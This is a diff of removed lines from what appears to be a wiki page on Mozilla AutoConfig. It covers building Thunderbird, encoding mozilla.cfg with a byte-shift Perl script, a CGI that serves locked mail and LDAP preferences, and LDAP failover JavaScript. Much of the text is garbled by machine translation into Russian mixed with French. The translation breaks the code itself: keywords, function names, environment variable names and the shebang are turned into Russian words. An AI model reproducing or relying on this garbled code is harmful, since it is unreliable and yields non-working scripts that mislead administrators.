-Выполнение команды: ['hg', 'pull', '-R', './.', '-r', 'tip']</font></font><font><font>
-вытягивание из http://hg.mozilla.org/comm-central/</font></font><font><font>
-поиск изменений</font></font><font><font>
-изменений не найдено</font></font><font><font>
-Выполнение команды: ['hg', 'update', '-r', 'default', '-R', './.']</font></font><font><font>
-0 файлов обновлено, 0 файлов объединены, удалено 0 файлов, 0 файлов не разрешены</font></font><font><font>
-Обновлено до версии c10119db13cad9797b05750bfe18a57261a88922.</font></font><font><font>
-Выполнение команды: ['hg', 'clone', 'http://hg.mozilla.org/releases/mozilla-1.9.1/', './mozilla']</font></font><font><font>
-запрос всех изменений</font></font><font><font>
-добавление наборов изменений</font></font><font><font>
-...</font></font><font><font>
-Исполняющая команда: ['hg', 'update', '-r', 'default', '-R', './mozilla/extensions/inspector']</font></font><font><font>
-0 файлов обновлено, 0 файлов объединены, удалено 0 файлов, 0 файлов не разрешены</font></font>
-Updated to revision 51c6d483a4c15a657df18540219bd0201896c6f2.
-CVS checkout begin: 2009-06-30 10:28:31 UTC
-Executing command: ['cvs', '-d', ':pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot', '-q', 'checkout', '-P', '-r', 'LDAPCSDK_6_0_6B_MOZILLA_RTM', '-d', 'c-sdk', 'mozilla/directory/c-sdk']
-U c-sdk/.cvsignore
-U c-sdk/Makefile.in
-...
-updating working directory
-163 files updated, 0 files merged, 0 files removed, 0 files unresolved
-Executing command: ['hg', 'update', '-r', 'default', '-R', './mozilla/extensions/venkman']
-0 files updated, 0 files merged, 0 files removed, 0 files unresolved
-Updated to revision 06ea5135b7f3c9a639c483183ceb9802abee621b.
-</pre>
-
-<h4 id="Build_Thunderbird"> Build Thunderbird</h4>
-
-<h5 id="prepare_compile_options">prepare compile options</h5>
-
-<pre><font><font>[root@b008-02 commsrc]# cp ./mozilla/browser/config/mozconfig .mozconfig</font></font><font><font>
-[root@b008-02 commsrc]# cat .mozconfig </font></font><font><font>
-mk_add_options AUTOCONF = autoconf-2.13</font></font><font><font>
-ac_add_options --enable-application = mail</font></font><font><font>
-ac_add_options --prefix = "/usr/local/thunderbirdDebug"</font></font><font><font>
-ac_add_options --libdir = "/usr/local/thunderbirdDebugLibs"</font></font><font><font>
-ac_add_options --enable-extensions = pref</font></font><font><font>
-ac_add_options --enable-static</font></font><font><font>
-ac_add_options --disable-shared</font></font><font><font>
-ac_add_options --disable-crashreporter</font></font>
-
-</pre>
-
-<p><font><font>опция --disable-crashreporter необходима, если вы получаете ошибку компиляции на этом этапе сборки</font></font></p>
-
-<pre class="bz_comment_text"><font><font>gmake [7]: вход в каталог</font></font><font><font>
-`/USR/местные/Moz2/commsrc/Mozilla/инструментарий/CrashReporter/Google-breakpad/SRC/общий/Linux»</font></font><font><font>
-dump_symbols.cc</font></font>
-</pre>
-
-<h5 id="строить_2"><font><font>строить</font></font></h5>
-
-<p><font><font>затем начните строительство</font></font></p>
-
-<pre class="eval"><font><font>[root @ b008-02 commsrc] # время make -f client.mk build</font></font><font><font>
-rm -f ../../mozilla/dist/bin/TestCookie</font></font><font><font>
-если test -f ../../mozilla/dist/bin/TestTArray; </font></font><font><font>
-затем cp ../../mozilla/dist/bin/TestTArray ../../mozilla/dist/bin/TestCookie; </font><font>Fi;</font></font><font><font>
-gmake [5]: quittant le rà © pertoire «/ usr/local/Moz/commsrc/mail/app»</font></font><font><font>
-gmake [4]: ​​quittant le rà © pertoire «/usr/local/Moz/commsrc/mail»</font></font><font><font>
-gmake [3]: quittant le rà © pertoire «/usr/local/Moz/commsrc»</font></font><font><font>
-gmake [2]: quittant le rà © pertoire «/usr/local/Moz/commsrc»</font></font><font><font>
-make [1]: quittant le rà © pertoire «/usr/local/Moz/commsrc»</font></font>
-<font><font>
-реальный 23m33.845s</font></font><font><font>
-пользователь 20m34.356s</font></font><font><font>
-sys 1m49.752s</font></font>
-
-</pre>
-
-<h5 id="устанавливать"><font><font>устанавливать</font></font></h5>
-
-<p><font><font>Затем установите (--enable-static и -disable-shared, необходимые в .mozconfig!)</font></font></p>
-
-<pre><font><font>[root@b008-02 commsrc]# make install -n</font></font><font><font>
-/usr/bin/gmake -C mail/installer install</font></font><font><font>
-gmake [1]: абитуриент dans le répertoire «/ usr / local / Moz / commsrc / mail / installer»</font></font><font><font>
-rm -rf ../../mozilla/dist/thunderbird ../../mozilla/dist/thunderbird-3.0b3pre.en-US.linux-i686.tar ../../mozilla/dist/thunderbird- 3.0b3pre.en-US.linux-i686.dmg stage-package </font></font><font><font>
-echo "Создание каталога пакетов ..."</font></font><font><font>
-...</font></font><font><font>
-/ usr / local / Moz / commsrc / mozilla / config / nsinstall -D / usr / local / thunderbirdDebug / bin</font></font><font><font>
-rm -f -f / usr / local / thunderbirdDebug / bin / thunderbird</font></font><font><font>
-ln -s /usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/thunderbird / usr / local / thunderbirdDebug / bin</font></font><font><font>
-gmake [1]: quittant le répertoire «/ usr / local / Moz / commsrc / mail / installer»</font></font>
-<font><font>
-[root @ b008-02 commsrc] # ls -l /usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/ | </font><font>grep ^ d</font></font><font><font>
-drwxr-xr-x 3 корень root 4096 juil. </font><font>2 10:45 хром</font></font><font><font>
-drwxr-xr-x 2 корень корня 12288 juil. </font><font>2 10:45 компоненты</font></font><font><font>
-drwxr-xr-x 6 корень корня 4096 juil. </font><font>1 10:24 defaults</font></font><font><font>
-drwxr-xr-x 2 корень root 4096 juil. </font><font>2 10:45 словари</font></font><font><font>
-drwxr-xr-x 3 корень root 4096 juil. </font><font>1 10:24 расширения</font></font><font><font>
-drwxr-xr-x 2 корень root 4096 juil. </font><font>2 10:27 greprefs</font></font><font><font>
-drwxr-xr-x 2 корень root 4096 juil. </font><font>1 10:18 иконки</font></font><font><font>
-drwxr-xr-x 3 корень root 4096 juil. </font><font>2 10:45 isp</font></font><font><font>
-drwxr-xr-x 4 корень root 4096 juil. </font><font>2 10:45 модулей</font></font><font><font>
-drwxr-xr-x 2 корень root 4096 juil. </font><font>2 10:45 OutTestData</font></font><font><font>
-drwxr-xr-x 6 корень корня 4096 juil. </font><font>2 10:45 res</font></font><font><font>
-[root@b008-02 commsrc]# ls -l /usr/local/thunderbirdDebug/bin/</font></font><font><font>
-всего 4</font></font><font><font>
-lrwxrwxrwx 1 корень root 64 juil. </font><font>2 10:45 thunderbird -&gt; /usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/thunderbird</font></font>
-<font><font>
-[root@b008-02 thunderbirdDebugLibs]# найти /usr/local/thunderbirdDebugLibs/ -name prefcalls.js</font></font><font><font>
-/usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/defaults/autoconfig/prefcalls.js</font></font>
-
-</pre>
-
-<h3 id="Old_Mozilla_1.x.2C_Possibly_Netscape_6.2F7" name="Old_Mozilla_1.x.2C_Possibly_Netscape_6.2F7"><font><font>Старый Mozilla 1.x, возможно, Netscape 6/7</font></font></h3>
-
-<div class="note"><font><font>Ниже для записи ... он также содержит интересную функцию, которую я больше не использовал -&gt; AutoConfig с веб-сервера!</font></font></div>
-
-<h4 id="Changes" name="Changes"><font><font>изменения</font></font></h4>
-
-<p><font><font>В период с 2002 по 2003 год нам нужно было обновить старую версию Netscape 4.x (4.79) до Mozilla 1.x (1.4), а теперь (2004-2005) Mozilla 1.7. </font><font>Подсистема AutoConfiguration совершенно такая же, как описано в разделе «старый» Netscape 4.x, но также немного отличается.</font></font></p>
-
-<h4 id="Mozilla_New_Features_in_Regard_to_Netscape" name="Mozilla_New_Features_in_Regard_to_Netscape"><font><font>Новые возможности Mozilla для Netscape</font></font></h4>
-
-<p>In Mozilla, we don't use the convert function from Netscape 4.5 CCK anymore, but <code>moz-byteshift.pl</code> Perl script, to encode <code>mozilla.cfg</code> file.</p>
-
-<p>The use of the <code>getLDAPAttributes()</code> function by calling inside itself the <code>processLDAPValues()</code> as a user defined function (see <code>prefcalls.js</code>) forces us to slightly change these calls in our original web CGI JavaScript (here <code>mci-mozilla-glob-prefs-tux.cgi</code>). The variables generated (<code>mail</code>, <code>cn</code>, <code>uid</code>) are defined only inside the <code>processLDAPValues()</code> function, that explains why lockPref related to these variables are located inside that function. I also couldn't use the <code>alert()</code> function anymore, so I changed to <code>displayerror()</code> function!</p>
-
-<h4 id="Locating_The_File_on_a_Web_Server" name="Locating_The_File_on_a_Web_Server">Locating The File on a Web Server</h4>
-
-<p>That was the case in the Netscape 4.x description below, however, at first it was a hard thing to do in Mozilla, cf. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=206294" title="Autoconfig via a URL appears to be missing. (autoadmin.global_config_url)">bug 206294</a>. So now you only need to create a small encoded <code>cfg</code> file making a call to a web located CGI script which will actually generate the JavaScript configuration directives to the Mozilla client. Hence you can change all of your Mozilla clients preferences by simply modifying a single file on a web server, great!</p>
-
-<h5 id="Call_File" name="Call_File">Call File</h5>
-
-<p>This file calls a CGI on a web server, the CGI generating the JavaScript code that will set preferences. Here the <code>vendor</code> name (<code>mci-mozilla-web-tux</code>) must match the name of the <code>cfg</code> file (<code>mci-mozilla-web-tux.cfg</code>).</p>
-
-<pre>$ cat mci-mozilla-web-tux.js
-lockPref("general.config.vendor", "mci-mozilla-web-tux");<font><font>
-lockPref( "autoadmin.global_config_url", "http://corbeau.int-evry.fr/cgi-bin/mci-mozilla-glob-prefs-tux.cgi");</font></font>
-</pre>
-
-<h4 id="Encoding_mozilla.js_File_to_mozilla.cfg" name="Encoding_mozilla.js_File_to_mozilla.cfg"><font><font>Кодирование файла mozilla.js для файла mozilla.cfg</font></font></h4>
-
-<p><font><font>Просто используйте </font></font><code>moz-byteshift.pl</code><font><font>Perl-скрипт, который для Mozilla 1.x и Netscape 6/7 использует сдвиг 13, в Netscape 4.x это было 7.</font></font></p>
-
-<pre><font><font>$ more moz-byteshift.pl</font></font><font><font>
-#! / USR / бен / Perl</font></font>
- <font><font>
-# Байт-сменная программа для файлов netscape.cfg Mozilla</font></font>
- <font><font>
-# Старый Netscape 4.x использует байтовый сдвиг 7</font></font><font><font>
-# Для декодирования: moz-byteshift.pl -s -7 &lt;netscape.cfg&gt; netscape.cfg.txt</font></font><font><font>
-# Для кодирования: moz-byteshift.pl -s 7 &lt;netscape.cfg.txt&gt; netscape.cfg</font></font>
- <font><font>
-# Mozilla использует байтовый сдвиг 13</font></font><font><font>
-# Для декодирования: moz-byteshift.pl -s -13 &lt;netscape.cfg&gt; netscape.cfg.txt</font></font><font><font>
-# Для кодирования: moz-byteshift.pl -s 13 &lt;netscape.cfg.txt&gt; netscape.cfg</font></font>
- <font><font>
-# Чтобы активировать файл netscape.cfg, поместите закодированный файл netscape.cfg</font></font><font><font>
-# в каталог C:\Program Files\mozilla.org\Mozilla.</font></font><font><font>
-# Затем добавьте следующую строку в свою</font></font><font><font>
-# C:\Program Files\ mozilla.org\Mozilla\defaults\pref\autoconf.js файл:</font></font><font><font>
-# pref("general.config.filename", "mozilla.cfg");</font></font><font><font>
-...</font></font>
-<font><font>
-$ ./moz-byteshift.pl -s 13 &lt;mci-mozilla-web-tux.js&gt; mci-mozilla-web-tux.cfg</font></font>
-</pre>
-
-<h4 id="Location_of_mci-mozilla-web-tux.cfg" name="Location_of_mci-mozilla-web-tux.cfg"><font><font>Местоположение mci-mozilla-web-tux.cfg</font></font></h4>
-
-<p><font><font>Расположение </font></font><code>netscape.cfg</code><font><font>(здесь переименовано </font></font><code>mci-mozilla-web-tux.cfg</code><font><font>) и способ его вызова отличается от старого Netscape 4.x. </font><font>Это местоположение находится в </font></font><code>MOZILLA_HOME ; c:\program files\mozilla.org\mozilla</code><font><font>Windows или </font></font><code>/usr/lib/mozilla-1.7-3/</code><font><font>Linux Fedora.</font></font></p>
-
-<h4 id="Call_to_mci-mozilla-web-tux.cfg" name="Call_to_mci-mozilla-web-tux.cfg"><font><font>Вызовите mci-mozilla-web-tux.cfg</font></font></h4>
-
-<p><font><font>Способ вызвать это через </font></font><code>autoconf.js</code><font><font>файл, добавив в конце:</font></font></p>
-
-<pre><font><font>$ tail -2 /usr/lib/mozilla-1.7-3/defaults/pref/autoconf.js</font></font><font><font>
-pref("general.config.filename", "mci-mozilla-web-tux.cfg");</font></font><font><font>
-pref("general.config.vendor", "mci-mozilla-web-tux");</font></font>
-</pre>
-
-<h4 id="Web_Base_CGI_JavaScript_Preferences_Generator_File" name="Web_Base_CGI_JavaScript_Preferences_Generator_File"><font><font>Веб-база CGI JavaScript-файл генератора настроек</font></font></h4>
-
-<pre><font><font>[root@corbeau /var/www/cgi-bin]</font></font><font><font>
-$ cat mci-mozilla-glob-prefs-tux.cgi</font></font><font><font>
-#! /usr/bin/perl -w</font></font>
-<font><font>
-print («Content-type: application / javascript-config \ n \ n»);</font></font><font><font>
-$ page = &lt;&lt;"EOP";</font></font>
- <font><font>
-</font></font><code>try</code><font><font> {
- var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");</font></font><font><font>
- var env_home = getenv("HOME");</font></font><font><font>
- var env_mozdebug = getenv("MOZILLA_DEBUG");</font></font><font><font>
- function processLDAPValues(значения) {</font></font><font><font>
- var uid = getLDAPValue(значения, "uid");</font></font><font><font>
- var cn = getLDAPValue(значения, "cn");</font></font><font><font>
- var mail = getLDAPValue(значения, «почта»);</font></font><font><font>
- lockPref("mail.server.server1.name", mail);</font></font><font><font>
- lockPref("mail.identity.id1.fullName", cn);</font></font><font><font>
- lockPref("mail.identity.id1.useremail", mail);</font></font>
-<font><font>
- if (env_mozdebug) {</font></font>
- displayError("debug mozilla.cfg v2.8", "mail:" + mail + "uid:" + uid + "cn" + cn + "user:" + env_user);
- }
-}
-//BROWSER
-/*defaultPref("startup.homepage_override_url", "http://www.int-evry.fr/mci/user/");
-lockPref("browser.startup.homepage_override", true);
-lockPref("browser.startup.page", 1);
-defaultPref("browser.startup.homepage", "http://www.int-evry.fr/mci/user/");
-*/
-lockPref("browser.startup.homepage", "http://www.int-evry.fr/mci/user/");
-lockPref("browser.startup.homepage_override", true);
-lockPref("general.config.vendor", "mci-mozilla-web-tux");
-lockPref("startup.homepage_override_url", "http://www.int-evry.fr/mci/user/");
-lockPref("browser.cache.disk.capacity", 0);
-lockPref("network.cookie.cookieBehavior", 0);
-lockPref("network.proxy.autoconfig_url", "http://www.int-evry.fr/local/config.proxy");
-lockPref("network.proxy.type", 2);
-
-//Account
-lockPref("mail.account.account1.identities", "id1");
-lockPref("mail.account.account1.server", "server1");
-lockPref("mail.account.account2.server", "server2");
-lockPref("mail.account.account3.server", "server3");
-lockPref("mail.accountmanager.accounts", "account1,account2,account3");
-lockPref("mail.accountmanager.defaultaccount", "account1");
-
-//IMAP
-lockPref("mail.server.server1.hostname", "imap-int.int-evry.fr");
-lockPref("mail.server.server1.type", "imap");
-lockPref("mail.server.server1.login_at_startup", true);
-lockPref("mail.identity.id1.draft_folder", "imap://" + env_user + "@imap-int.int-evry.fr/Drafts");
-lockPref("mail.identity.id1.drafts_folder_picker_mode", "0");
-lockPref("mail.identity.id1.fcc_folder", "imap://" + env_user + "@imap-int.int-evry.fr/Sent");
-lockPref("mail.identity.id1.fcc_folder_picker_mode", "0");
-lockPref("mail.identity.id1.stationery_folder", "imap://" + env_user + "@imap-int.int-evry.fr/Templates");
-lockPref("mail.identity.id1.tmpl_folder_picker_mode", "0");
-lockPref("mail.identity.id1.valid", true);
-lockPref("mail.identity.id1.overrideGlobal_Pref", true);
-lockPref("mail.server.server1.download_on_biff", true);
-lockPref("mail.server.server1.login_at_startup", true);
-lockPref("mail.server.server1.userName", env_user);
-lockPref("mail.server.server1.delete_model", 0);
-
-//SMTP
-lockPref("mail.identity.id1.smtpServer", "smtp1");
-defaultPref("mail.smtpserver.smtp1.auth_method", 0);
-lockPref("mail.smtpservers", "smtp1");
-lockPref("mail.smtpservers", "smtp1");
-lockPref("mail.smtp.defaultserver", "smtp1");
-lockPref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr");
-lockPref("mail.identity.id1.organization", "INT Evry France");
-lockPref("mail.startup.enabledMailCheckOnce", true);
-lockPref("mail.ui.folderpane.version", 3);
-lockPref("mailnews.ui.threadpane.version", 2);
-
-//LDAP config
-lockPref("mail.identity.id1.directoryServer", "ldap_2.servers.ldapint");
-lockPref("ldap_2.prefs_migrated", true);
-lockPref("ldap_2.servers.history.filename", "history.mab");
-lockPref("ldap_2.servers.history.replication.lastChangeNumber", 0);
-lockPref("ldap_2.servers.ldapint.auth.savePassword", true);
-lockPref("ldap_2.servers.ldapint.description", "ldap-int");
-lockPref("ldap_2.servers.ldapint.filename", "abook-1.mab");
-lockPref("ldap_2.servers.ldapint.position", 3);
-lockPref("ldap_2.servers.ldapint.uri", "ldap://ldap1.int-evry.fr:389/ou=people,dc=int-evry,dc=fr??sub");
-lockPref("ldap_2.servers.pab.filename", "abook.mab");
-lockPref("ldap_2.servers.pab.replication.lastChangeNumber", 0);
-
-//News config
-lockPref("mail.server.server3.hostname", "news.int-evry.fr");
-lockPref("mail.server.server3.max_cached_connections", 2);
-lockPref("mail.server.server3.name", "news.int-evry.fr");
-lockPref("mail.server.server3.type", "nntp");
-lockPref("mail.server.server3.userName", env_user);
-
-//Call to ldap to get user's attribute.
-getLDAPAttributes("ldap2.int-evry.fr", "ou=people,dc=int-evry,dc=fr", "uid=" +env_user, "uid,cn,mail");
-
-} catch(e) {
- displayError("lockedPref", e);
-}
-
-EOP
-print $page;
-</pre>
-
-<h4 id="Windows_Particularities" name="Windows_Particularities">Windows Peculiarities</h4>
-
-<p>Without web base CGI file, beware that in Windows, the original (before encoding) <code>mozilla.js</code> file must start with: <code>//BEGIN CE prefs </code>, if not you'll get "failed to read configuration file..." message, and Mozilla won't start :-(</p>
-
-<p>In Windows environment variables like <code>USER</code> or <code>HOME</code>, are <code>USERNAME</code> and <code>HOMEPATH</code>, that's why we must create a different pair of configuration files (<code>cfg</code> and <code>cgi</code>) for both systems (Linux/Windows). Perhaps there's a way in JavaScript to detect operating system and hence use either <code>USER</code> or <code>USERNAME</code>, but I'm not that fluent in JavaScript, let me know if you know how...//</p>
-
-<h5 id="Windows_Call_File" name="Windows_Call_File">Windows Call File</h5>
-
-<pre>$ cat mci-mozilla-web-win.js
-lockPref("general.config.vendor", "mci-mozilla-web-win");
-lockPref("autoadmin.global_config_url","http://corbeau.int-evry.fr/cgi-bin/mci-mozilla-glob-prefs-win.cgi");
-</pre>
-
-<h5 id="Windows_all.js_File" name="Windows_all.js_File">Windows autoconf.js File</h5>
-
-<p>To be encoded by <code>moz-byteshift.pl</code> as stated above...</p>
-
-<pre>c:\type c:\program files\mozilla.org\mozilla\defaults\pref\autoconf.js
-pref("general.config.filename", "mci-mozilla-web-win.cfg");
-pref("general.config.vendor", "mci-mozilla-web-win");
-</pre>
-
-<h5 id="Windows_CGI_file" name="Windows_CGI_file">Windows CGI file</h5>
-
-<pre>$ cat mci-mozilla-glob-prefs-win.cgi
-#!/usr/bin/perl -w
-
-print("Content-type: application/javascript-config\n\n");
-$page = &lt;&lt;"EOP";
-
-try {
- var env_user = getenv("USERNAME");
- var env_home = getenv("HOMEPATH");
- var env_mozdebug= getenv("MOZILLA_DEBUG");
-...
-</pre>
-
-<p><font><font>Остальная часть файла идентична версии Linux, только переменные среды (var env_ *) отличаются друг от друга!</font></font></p>
-
-<h4 id="Versions_Tested" name="Versions_Tested"><font><font>Проверенные версии</font></font></h4>
-
-<p><font><font>Эта конфигурация была проверена на Linux с помощью Mozilla 1.4, 1.6 и 1.7 и Windows с Mozilla 1.4, 1.5, 1.7.</font></font></p>
-
-<h3 id="Debugging_-_Bugzilla" name="Debugging_-_Bugzilla"><font><font>Отладка - Bugzilla</font></font></h3>
-
-<h4 id="Run_Time_Messages" name="Run_Time_Messages"><font><font>Сообщения о времени выполнения</font></font></h4>
-
-<p><font><font>Примечание. Присутствие </font></font><code>var env_mozdebug=getenv("MOZILLA_DEBUG")</code><font><font>позволяет пользователю печатать отладочные сообщения, если они </font></font><code>MOZILLA_DEBUG</code><font><font>определены в оболочке для Unix ( </font></font><code>export MOZILLA_DEBUG=1</code><font><font>) или в </font></font><code>command.com</code><font><font>среде Windows ( </font></font><code>set MOZILLA_DEBUG=1</code><font><font>).</font></font></p>
-
-<h4 id="Blank_Space_Bug" name="Blank_Space_Bug"><font><font>Ошибка пробела</font></font></h4>
-
-<p><font><font>Я заметил проблему, которая должна быть исправлена ​​в Mozilla 1.8. Я думаю ... Вот отчет и обходной путь: </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=229271" title='FIXED: unwanted "white space" in function getLDAPValue from autoconfig/prefcalls.js'>ошибка 229271</a><font><font>. </font><font>Чтобы исправить ошибку, добавьте следующее:</font></font></p>
-
-<pre><font><font> start_pos + = search_key.length;</font></font><font><font>
-//Начало </font></font><font><font>
- start_pos + = 1;</font></font><font><font>
-//конец</font></font>
-</pre>
-
-<p><font><font>функционировать </font></font><code>getLDAPValue()</code><font><font>в </font></font><code>autoconfig/preffcalls.js</code><font><font>.</font></font></p>
-
-<h4 id="Documentation" name="Documentation"><font><font>Документация</font></font></h4>
-
-<p><font><font>Я также открыл отчет о недостатке документации </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=178685" title="Complete preference ref manual (for hidden prefs)">ошибка 178685</a><font><font>, который привел к замечательному документу: </font></font><a href="http://web.archive.org/web/20050415163430/http://wangrepublic.org/daniel/mozilla/prefs/"><font><font>http://wangrepublic.org/daniel/mozilla/prefs/</font></font></a></p>
-
-<h4 id="defeultPref_for_Home_Page" name="defeultPref_for_Home_Page"><font><font>defeultPref для домашней страницы</font></font></h4>
-
-<p><font><font>Я не могу установить домашнюю страницу с помощью </font></font><code>defaultPref</code><font><font>функции, поэтому она устанавливается по умолчанию, но позволяет пользователю изменять ее! </font><font>Обнаружена ошибка, см. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=272970" title="autoconfig defaultpref doesn't work">ошибка 272970</a>.</p>
-
-<h4 id="greprefs_Right_Access" name="greprefs_Right_Access"><font><font>Правильный доступ greprefs</font></font></h4>
-
-<p><font><font>Остерегайтесь также в Linux, что </font></font><code>MOZILLA_HOME/greprefs</code><font><font>каталог по умолчанию закрыт для пользователей, а затем AutoConfig работает некорректно, я открыл ошибку:</font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=270623" title="greprefs subdirectory; modes too much restrictive"> ошибка 270623</a><font><font>. </font><font>Обходной путь </font></font><code>chmod 755 greprefs</code><font><font>!</font></font></p>
-
-<h4 id="CGI_Base_Config_File" name="CGI_Base_Config_File"><font><font>Файл конфигурации базы данных CGI</font></font></h4>
-
-<p><font><font>Возникла проблема с использованием </font></font><code>autoadmin.global_config_url</code><font><font>, см. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=206294" title="Autoconfig via a URL appears to be missing. (autoadmin.global_config_url)">ошибка 206294</a><font><font>.</font></font></p>
-
-<h3 id="Mail_Folders" name="Mail_Folders"><font><font>Почтовые папки</font></font></h3>
-
-<p>Implementing that solution, we encounter difficulties with mail folder. Our first idea was to use local mail folders from home directory of the current user. In Unix that would have been <code>$HOME/nsmail/...</code>, in Windows it would have been a Samba mount of that same Unix path (ex: <code>U:\nsmail</code> ; with <code>U:</code> = Samba mount: <code>\\samba-server\%USERNAME</code>). Unfortunately file system writes and/or mail format differs between Windows and Unix, and folders soon become unreadable or even corrupted when read/written from one system to the other.</p>
-
-<p>That's why we finally decided to use IMAP, and hence IMAP folders. By migrating from University of Washington IMAP server to Cyrus IMAP we also inherited some interesting features like quotas, share folders, ACL, mail only account (no need for <code>/etc/passwd</code> entry!) much better performances, etc...</p>
-
-<h3 id="Reliability" name="Reliability">Reliability</h3>
-
-<h4 id="Fail-over_and_Uniqueness" name="Fail-over_and_Uniqueness">Fail-over and Uniqueness</h4>
-
-<p>A contribution from Roberto Aguilar gives the Mozilla AutoConfig JavaScript a way to search through different LDAP replicas in case one LDAP server is down.</p>
-
-<p>It also allows users to use a single JavaScript for both systems (Linux and Windows) with a subtle <code>if... else</code> test on environment variables.</p>
-
-<h4 id="LDAP_fail-over" name="LDAP_fail-over">LDAP fail-over</h4>
-
-<p>Creating an array of possible running LDAP servers permits an LDAP fail-over, then a shuffle function allows us to randomly pick up a running LDAP server.</p>
-
-<p>The shuffle function comes from here: <a href="http://www.mickweb.com/javascript/arrays/pureshuffle.html" rel="freelink">http://www.mickweb.com/javascript/ar...reshuffle.html</a></p>
-
-<p>Before publishing the code changes, please add this right before the shuffle function:</p>
-
-<pre> /**
- * setup the shuffle method for an array, from Mickweb Script
- * Factory at:
- * http://www.mickweb.com/javascript/arrays/pureshuffle.html
- */
-</pre>
-
-<p><font><font>Вот как работает отказ LDAP:</font></font></p>
-
-<pre><font><font>// 2) установить несколько серверов LDAP для отказа</font></font><font><font>
- var ldap_values;</font></font><font><font>
- var ldap_servers = new Array('ldap2.int-evry.fr',</font></font><font><font>
- 'Ldap1.int-evry.fr',</font></font><font><font>
- 'Openldap.int-evry.fr'</font></font><font><font>
- );</font></font><font><font>
- // Shuffle функция для рандомизации массива сервера</font></font><font><font>
- // настройка метода shuffle для массива</font></font><font><font>
- Array.prototype.shuffle = function(times) {</font></font><font><font>
- var i, j, t, l = this.length;</font></font><font><font>
- while (times--) {</font></font><font><font>
- с (Math) {</font></font><font><font>
- i = пол(random() * l);</font></font><font><font>
- j = пол(random() * l);</font></font><font><font>
- }</font></font><font><font>
- t = это[i];</font></font><font><font>
- это[i] = this[j];</font></font><font><font>
- это[j] = t;</font></font><font><font>
- }</font></font><font><font>
- верните это;</font></font><font><font>
- }</font></font><font><font>
- // смешиваем серверы LDAP, чтобы мы не попадали в один и тот же каждый раз</font></font><font><font>
- ldap_servers.shuffle (10);</font></font><font><font>
-....</font></font><font><font>
-// 4) Вызовите LDAP-серверы для получения атрибутов LDAP (mail &amp; cn), это, наконец, вызовет processLDAPValues, «3» «чуть выше».</font></font><font><font>
-// Перейдите в список реплик LDAP</font></font><font><font>
-для (i = 0; i &lt;ldap_servers.length; i++) {</font></font><font><font>
-// Поиск почты атрибута и cn через LDAP-серверы, где uid = $ USER | $ USERNAME</font></font><font><font>
- getLDAPAttributes(ldap_servers [I],</font></font><font><font>
- "НУ = люди, DC = INT-Эври, DC = пт",</font></font><font><font>
- "uid =" + env_user,</font></font><font><font>
- "UID, сп, почта");</font></font><font><font>
- // Если мы поймаем запущенный сервер LDAP, выйдите из цикла,</font></font><font><font>
- if (ldap_values) {</font></font><font><font>
- run_ldap_server = ldap_servers [i];</font></font><font><font>
- // Если $ MOZILLA_DEBUG = 1 отображается во всплывающем окне работающий сервер</font></font><font><font>
- if (env_mozdebug) {</font></font><font><font>
- displayError ("getLDAPAttributes: debug 2 running_ldap_server:" + running_ldap_server);</font></font><font><font>
- }</font></font><font><font>
- ломать;</font></font><font><font>
- }</font></font><font><font>
- }</font></font>
-</pre>
-
-<h4 id="Unique_Script_for_Windows_and_Linux" name="Unique_Script_for_Windows_and_Linux"><font><font>Уникальный скрипт для Windows и Linux</font></font></h4>
-
-<p><code>if... else</code><font><font>Тест позволяет проверить ли мы используем переменные среды Linux или Windows , </font><font>для </font></font><code>USER</code><font><font>/ </font></font><code>USERNAME</code><font><font>.</font></font></p>
-
-<pre><font><font>// 1) переменные env</font></font><font><font>
-if (getenv("USER")! = "") {</font></font><font><font>
- // * Настройки NIX</font></font><font><font>
- var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");</font></font><font><font>
- var env_home = getenv("HOME");</font></font><font><font>
- } else {</font></font><font><font>
- // Настройки Windows</font></font><font><font>
- var env_user = getenv("USERNAME");</font></font><font><font>
- var env_home = getenv("HOMEPATH");</font></font><font><font>
- }</font></font><font><font>
- var env_mozdebug = getenv("MOZILLA_DEBUG");</font></font>
-</pre>
-
-<h4 id="Final_Production_Script" name="Final_Production_Script"><font><font>Окончательный сценарий производства</font></font></h4>
-
-<p><font><font>Вот полный окончательный и прокомментированный производственный сценарий:</font></font></p>
-
-<pre><font><font>// Mozilla AutoConfiguration, Jehan Procaccia &amp; Roberto Aguilar</font></font>
- <font><font>
-// помещаем все в try/catch</font></font><font><font>
-пытаться {</font></font><font><font>
-/ *</font></font><font><font>
-1) определить переменные среды,</font></font><font><font>
-2) список и рандомизировать реплики LDAP,</font></font><font><font>
-3) определить processLDAPValues(),</font></font><font><font>
-4) Вызовите LDAP-сервер, чтобы получить атрибуты LDAP(mail &amp; cn) getLDAPAttributes()</font></font><font><font>
-5) установить пользовательские настройки</font></font><font><font>
-* /</font></font>
- <font><font>
-// 1) переменные env</font></font><font><font>
-if (getenv("USER")! = "") {</font></font><font><font>
- // * Настройки NIX</font></font><font><font>
- var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");</font></font><font><font>
- var env_home = getenv("HOME");</font></font><font><font>
- } else {</font></font><font><font>
- // Настройки Windows</font></font><font><font>
- var env_user = getenv("USERNAME");</font></font><font><font>
- var env_home = getenv("HOMEPATH");</font></font><font><font>
- }</font></font><font><font>
- var env_mozdebug = getenv("MOZILLA_DEBUG");</font></font>
- <font><font>
-// 2) установить несколько серверов LDAP для отказа</font></font><font><font>
- var ldap_values;</font></font><font><font>
- var ldap_servers = new Array('ldap2.int-evry.fr',</font></font><font><font>
- 'Ldap1.int-evry.fr',</font></font><font><font>
- 'Openldap.int-evry.fr'</font></font><font><font>
- );</font></font><font><font>
- // Shuffle функция для рандомизации массива сервера</font></font><font><font>
-/ **</font></font><font><font>
- * настроить метод shuffle для массива, начиная с "mickweb script</font></font><font><font>
- * завод "по адресу:</font></font><font><font>
